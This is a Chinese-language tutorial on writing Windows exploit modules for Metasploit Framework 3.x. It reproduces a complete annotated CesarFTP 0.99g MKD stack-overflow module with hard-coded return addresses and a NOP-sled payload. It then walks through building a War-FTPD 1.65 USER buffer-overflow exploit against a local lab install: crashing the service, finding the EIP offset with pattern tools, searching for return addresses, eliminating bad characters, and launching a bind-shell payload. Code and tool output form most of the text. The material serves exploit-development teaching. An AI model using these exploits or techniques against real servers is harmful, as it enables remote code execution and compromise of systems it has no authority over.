Metasploit/编写Windows漏洞利用
为Metasploit框架编写Windows漏洞利用
此页面说明如何为Metasploit Framework v3.x编写Windows漏洞利用。
此页面不解释如何查找漏洞。(为此,请参阅模糊测试)
Metasploit Framework有助于轻松快速地编写可靠的漏洞利用。
Metasploit Framework使用Ruby语言。
技术技能
- 关于使用Metasploit Framework的一些技能。
- 一些编程技能(Ruby技能有用,但并非完全必要)
- 对Windows内存管理的一些了解(堆栈、堆、寄存器)
材料
- 已安装并运行的Metasploit Framework
- Windows平台
- 调试器[1]
- 文本编辑器
在Metasploit Framework中,漏洞利用被称为“漏洞利用模块”。
漏洞利用模块默认位于
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\
(如果在上面的路径中找不到,请检查C:\Documents and Settings\<您的用户名>\Application Data\msf3\modules\exploits)
漏洞利用模块按平台(操作系统)分类,然后按类型(协议)分类。
了解漏洞利用模块编写方式的良好方法是先编辑一个。
我们编辑这个模块
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb
#作者的注释用红色标记。
## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## #Comment lines start with a # (they won't be executed)
require 'msf/core' #We will always need the core library
module Msf #This line should always be present
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote #The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module #is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit #module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)
include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #An understandable, detailed name (displayed in the console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, 'Author' => 'MC', #The (nick)name of the author of this module 'License' => MSF_LICENSE, #Type of license 'Version' => '$Revision: 4419 $', #Version number of the module 'References' => #Various 'URLs' about the vulnerability [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Maximum space available in memory to store the shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #List of the forbidden characters 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type of the target's platform 'Targets' => #List of the targets and return addresses [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Vulnerability disclosure date 'DefaultTarget' => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) ) end
def check #Function used to check if a target is vulnerable
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server return Exploit::CheckCode::Vulnerable #The server is vulnerable end return Exploit::CheckCode::Safe #The server is NOT vulnerable end
def exploit #We defines our exploit connect_login #We use the Ftp login function
sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded #Return address (little endian converted) + nop sled + payload
print_status("Trying target #{target.name}...")
send_cmd( ['MKD', sploit] , false) #We send our exploit code to the target
handler
disconnect #We close the connection
end
end
end
为了了解如何为Metasploit Framework编写漏洞利用模块,我们将为WarFTPD版本1.5[2]中易于利用的漏洞编写一个漏洞利用。
(注意,此漏洞的漏洞利用模块已存在于Metasploit Framework中,但我们正在尝试构建自己的漏洞利用。)
我们在本地Windows机器上下载并安装WarFTPD。
我们启动WarFTPD守护进程。
我们取消选中“不允许匿名登录”复选框。
我们启动FTP服务器(点击“上线/离线”按钮)
好的,服务器现在正在等待我们…
首先要做的是查找有关所讨论漏洞的信息。有很多可能的来源。
以下是一个示例
http://osvdb.org/displayvuln.php?osvdb_id=875&print
我们现在看到该错误可以通过在USER命令中发送特制请求来触发。
通常,一个非常长的字符串会触发这种错误,但让我们验证一下。
我们首先重现漏洞。
为此,我们直接使用Metasploit Framework。
我们创建文件
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb
我们打开此文件并在其中写入(复制/粘贴)以下代码
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking #The names of the exploit module and the class are 'equal' include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Username Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, #End of Description 'Author' => 'Your Name', #Change this value with your (nick)name 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] #The URL mentioned above ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, #We actually don't know the correct value for this 'BadChars' => "\x00" #We actually don't know the correct value for this }, 'Targets' => [ # Target 0 [ 'Our Windows Target', #Replace this with your Windows target platform (ie: Windows 2000 SP4) { 'Platform' => 'win', #We exploit a Windows target 'Ret' => 0x01020304 #We actually don't know the correct value for this } ] ] ) #End of update_info() ) #End of super() end #End of initialize def exploit connect print_status("Trying target #{target.name}...") exploit = 'A' * 1000 #We first try to trigger the bug by sending a long string of 1000 "A" send_cmd( ['USER', exploit] , false ) #We send our evil string handler disconnect #We disconnect from the server end #End of exploit end #End of class
WarFTPD服务器正在运行(监听默认端口21/tcp)。
我们现在启动Metasploit Framework的控制台。
(开始 / 程序 / Metasploit3 / MSFConsole)
我们现在可以使用此命令查看我们的漏洞利用
show exploits
我们现在使用这些命令启动我们的漏洞利用
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit
几秒钟后,我们看到WarFTPD守护进程FTP服务器消失(崩溃)。
我们已成功重现了错误。
要查看服务器崩溃时发生了什么,我们使用调试器。
我们再次启动WarFTPD守护进程,并将我们的调试器附加到它。
=> 在OllyDbg中,我们使用“文件/附加”,选择WarFTPD进程,单击“确定”,并在加载完成后,我们按F9键使其运行。
我们再次启动我们的漏洞利用。
我们现在可以查看我们的调试器。
我们看到触发了访问冲突。
EIP被我们的恶意字符串覆盖(41414141是AAAA的十六进制等效值)
我们必须找到shellcode(有效负载)的可用空间。
Metasploit Framework包含一些工具来帮助我们。
首先,我们关闭调试器。
我们使用pattern_create()函数生成一个不重复的字母数字文本字符串。我们通过调用以下脚本来使用此函数:C:\Program Files\Metasploit\Framework3\msf3\tools\pattern_create.rb
从DOS命令行控制台,它给出
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c]
我们生成一个1000个字符的字符串,并在我们的漏洞利用中使用它来再次触发错误
C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh
在我们的PoC代码中,我们替换这行代码
exploit = 'A' * 1000
for
exploit = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'
然后,我们保存修改后的PoC代码。我们启动War-FTPD FTP服务器。我们运行调试器并将其附加到War-FTPD进程。我们启动我们的漏洞利用…
好的,我们现在可以在调试器中看到这一点
我们看到EIP现在被值“32714131”覆盖。
然后我们使用patternOffset来了解在命中EIP之前要发送的字符数。为此,我们使用以下脚本:C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb
从DOS命令行控制台,它给出
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb Usage: pattern_offset.rb <search item> <length of buffer> Default length of buffer if none is inserted: 8192 This buffer is generated by pattern_create() in the Rex library automatically
所以,我们现在像这样提供之前找到的参数
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb 32714131 1000
结果“485”显示出来。这意味着我们应该有485字节的空间来存储我们的有效负载。
我们在PoC代码中添加此值:我们修改这行代码
'Space' => 1000, #We actually don't know the correct value for this
for
'Space' => 485,
这样,当我们将我们的漏洞利用加载到Metasploit Framework中(使用“use”命令)时,它将自动搜索并显示大小小于485(使用“show PAYLOADS”命令)的可用有效负载。
我们现在必须找到一个可靠的返回地址。
最好的方法是从我们的目标中直接获取返回地址。(在易受攻击的可执行文件中本身或它使用的其中一个DLL中)
它避免了Windows和Service Pack、语言环境、热修复程序等各种版本出现问题…
这将使我们的漏洞利用成为通用的。
但这并不总是那么容易。
一种方法是使用OllyDbg的内存搜索功能。
而且,Metasploit Framework再次包含一些工具来帮助我们。
我们可以使用“msfpescan”来搜索操作码的返回地址
$ ./framework/msfpescan Usage: ./framework/msfpescan [mode] <options> [targets] Modes: -j, --jump [regA,regB,regC] Search for jump equivalent instructions -p, --poppopret Search for pop+pop+ret combinations -r, --regex [regex] Search for regex match -a, --analyze-address [address] Display the code at the specified address -b, --analyze-offset [offset] Display the code at the specified offset -f, --fingerprint Attempt to identify the packer/compiler Options: -M, --memdump The targets are memdump.exe directories -A, --after [bytes] Number of bytes to show after match (-a/-b) -B, --before [bytes] Number of bytes to show before match (-a/-b ) -I, --image-base [address] Specify an alternate ImageBase -h, --help Show this message
我们也可以使用MSF操作码数据库
http://metasploit.com/users/opcode/msfopcode.cgi
注意,Metasploit Framework包含一个内置客户端来使用此数据库
http://www.metasploit.com/projects/Framework/msf3/msfopcode.html
我们还可以使用另一个名为 eerep 的好工具,它来自 eEye
http://research.eeye.com/html/tools/RT20060801-2.html
我们也可以在这里找到一些国际返回地址
https://www.securinfos.info/international-opcodes/index.php
现在我们需要找到并阻止坏字符。
我们不应该在我们的 shellcode 中包含终止的空字符,因为它会中断执行。
我们已经在我们的漏洞利用中用这个做到了:'BadChars' => "\x00"
此外,目标应用程序通常会在应用程序处理数据之前修改收到的数据。
例如,一个应用程序会将所有字符更改为大写。
由于这会修改我们的 shellcode,因此我们必须处理它。
为此,Metasploit 框架将对我们的 shellcode 进行编码,以获得一个没有任何指定坏字符的 shellcode。
我们只需要在我们的漏洞利用代码中指定坏字符列表。
因此,为了找到坏字符,我们将发送一个包含 ASCII 表中所有字符的字符串,包括可打印字符和不可打印字符。
该字符串将如下所示
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d
\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9
\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7
\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
@ 我们编辑我们的漏洞利用代码,并将上面的字符串放入其中。
然后,让我们的目标应用程序运行,并将我们的调试器附加到其进程;我们重新启动我们的漏洞利用。
在调试器下,访问冲突触发后,右键单击 esp 寄存器,选择“在转储中跟随”选项。
现在我们将看到我们的字符串,并检查字符串末尾缺少或修改的字符。
这是我们的第一个坏字符。(记下来)
我们从我们的漏洞利用代码中删除它,然后再次执行 @...
直到我们在调试器中看到所有发送的字符。
现在,在漏洞利用的坏字符部分,我们编写作为坏字符找到的字符(被应用程序删除或修改)。
[1] 免费 Windows 调试器
http://www.ollydbg.de/
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
[2] WarFTPD v1.5 下载链接 https://www.securinfos.info/old_softwares_vulnerable/WarFTP165_vulnerable_USER_BufferOverflow.exe
http://www.milw0rm.com/papers/142
Metasploit 框架 v3.0 开发人员文档
http://Metasploit.com/projects/Framework/msf3/
漏洞利用模块教程
http://Metasploit.com/projects/Framework/documentation.html#exploitTutorial
Vinnie Liu - 编写漏洞利用 III
http://www.syngress.com/book_catalog/327_SSPC/sample.pdf
http://www.securityforest.com/wiki/index.php/Category:Buffer_Overflows_Education
https://www.securinfos.info/english/security-papers-hacking-whitepapers.php
https://www.securinfos.info/VNSECON2007/VNSECON07-JA-Exploit_development.pdf
开发我的第一个漏洞利用 - 由 MaXe(感谢 Jerome Athias)
视频指南:http://guides.intern0t.net/msf2.php